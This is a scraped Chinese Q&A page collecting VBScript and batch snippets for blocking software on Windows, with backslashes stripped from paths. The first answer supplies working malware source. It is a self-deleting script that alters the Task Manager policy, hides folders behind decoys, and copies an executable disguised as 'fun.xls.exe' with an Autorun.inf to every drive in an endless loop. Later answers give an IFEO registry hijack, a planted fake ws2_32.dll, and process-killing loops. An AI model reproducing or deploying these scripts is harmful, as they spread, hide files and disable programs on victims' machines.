vbs禁用软件(vbs禁用cmd)
一个双击后就自己消失,禁用任务管理器,文件夹带exe的vbs编程,如何????
我乱改的 反正还原了 你试试 注意一定要先把有.exe的文件夹全删了 没有就不用了
vbs禁用软件(vbs禁用cmd)
vbs禁用软件(vbs禁用cmd)
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Set ws=CreateObject("WScript.Shell")
ws.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesDisableTaskMgr",0,"REG_DWORD"
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".111")
fso.GetFolder(C & Fdr.Name & ".111").Attributes=Fdr.Attributes
Fdr.Attributes=5
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
Set fun=fso.GetFile(C & "WINDOWS32tskill.exe")
fun.Attributes=6
fun.Copy(drv & "fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
If drv & "" = C Then
Else
Set Fdrs=fso.GetFolder(drv & "").SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="111" Then
Fdr.Name=Fdr.name & ".111"
End If
Next
End If
End If
Next
WScript.Sleep 11000
Loop
通过win批处理禁止安装软件
以下为批处理 映像劫持法(会被360自动阻止。如已安装360此法不能凑效) @echo off echo Windows Registry Editor Version 5.00>>123.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsqq.EXE] >>123.reg echo "Debugger"="禁止启动" >>123.reg regedit /s 123.reg del /q 123.reg 建立特殊文件于QQ目录下(此处路径为C:Progra~1TencentQQ,可以自己稍微改变下) echo off copy > 111.txt echo ycopy nul 111.txt rename 111.txt ws2_32.dll move ws2_32.dll C:Progra~1TencentQQ 以下为vbs 每隔1000毫秒结束1次QQ进程 dim bag,pipe,good do good="." set bag=getobject("winmgmts:"&good&"rootcimv2") set pipe=bag.execquery("select from win32_process where name='qq.exe'") for each i in pipe i.terminate() next wscript.sleep 1000 loop 以上任意的批处理或者bat什么的脚本设个开机启动即可 方法实在很多。。。你动点脑子就好。。
win11关闭vbs电脑会不会中毒呢?
关闭VBS并不会对电脑造成毒害,但是如果你的电脑中有恶意VBS代码,可能会危害你的电脑安全,所以建议要用杀毒软件定期进行杀毒扫描,以确保电脑的安全。
开启动Mcafee8.8
企业版本。拦截Vbs 自动智能拦截。非常强的
使用VBS文件限制软件时为何出错
dim qobj,pipe,good
do
good="."
set qobj=getobject("winmgmts:"&good&"rootcimv2")
set pipe=qobj.execquery("select from win32_process where name='excel.exe'")
If pipe.count<>0 Then '这里要判断下PIPE集的值是否为空
for each i in pipe
i.terminate()
next
end if
wscript.sleep 1
loop
你的代码放我电脑里则是是可以执行!我帮你改进了一下,当你所限制的程序没在运行时,则不执行FOR EACH循环。可以提高代码的执行效率。
创建插件对象失败,,检查系 统是否禁用了VBS脚本权限。。。。。。。怎么弄啊,?是什么意思。。。急,,
究竟是运行什么程序时出现的?如果是打开按键小精灵开启脚本的时候弹出这个提示,则原因可能是脚本作者调用了大漠插件,你应该可以在C盘找到一个DM.DLL的文件,这就是大漠插件,你可以关闭杀毒软件后(防止误杀或防火墙没关),再试一下。
如果是其它软件,则先打开任务管理器,转到进程管理面板,直接新建任务,输入:wscript.exe,看下面的任务进程里是否多了一个wscript.exe的进程,如果有的话,说明VBS没有被禁用,如果没有,就被禁用了。
如果被禁用了,则用下面的方法
IE浏览器 : 选择 工具-----> Internet选项----->选择“安全”选项卡----->点“自定义级别”按钮,就可以看到了。“Scripting"下的"Active scripting"设置成"Enable",就可以了。
如何用VB禁止程序访问网络
Private Sub ToggleLanConnection() Const ssfCONTROLS = 3 sConnectionName = "本地连接" ' sConnectionName = "Local Area Connection" '英文 sEnableVerb = "启用(&A)" sDisableVerb = "禁用(&B)" ' sEnableVerb = "En&able" '英文 ' sDisableVerb = "Disa&ble" '英文 Set shellApp = CreateObject("shell.application") Set oControlPanel = shellApp.Namespace(ssfCONTROLS) Set oNetConnections = Nothing For Each folder In oControlPanel.s If folder.Name = "网络和拨号连接" Then ' If folder.Name = "Network Connections" Then '英文 Set oNetConnections = folder.getfolder: Exit For End If Next If oNetConnections Is Nothing Then MsgBox "Couldn't find 'Network Connections' folder" Exit Sub End If Set oLanConnection = Nothing For Each folder In oNetConnections.s If LCase(folder.Name) = LCase(sConnectionName) Then Set oLanConnection = folder: Exit For End If Next If oLanConnection Is Nothing Then MsgBox "Couldn't find '" & sConnectionName & "' " Exit Sub End If bEnabled = True Set oEnableVerb = Nothing Set oDisableVerb = Nothing For Each Verb In oLanConnection.verbs Debug.Print Verb.Name If Verb.Name = sEnableVerb Then Set oEnableVerb = Verb bEnabled = False Exit For End If If Verb.Name = sDisableVerb Then Set oDisableVerb = Verb Exit For End If Next If bEnabled Then oDisableVerb.DoIt Else oEnableVerb.DoIt End If End Sub Private Sub Command1_Click() ToggleLanConnection End Sub
可以用winapi函数中的注册表作函数,将相应的项删了或禁止就可以了吧
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若本站内容侵犯了原著者的合法权益,可联系 836084111@qq.com 删除。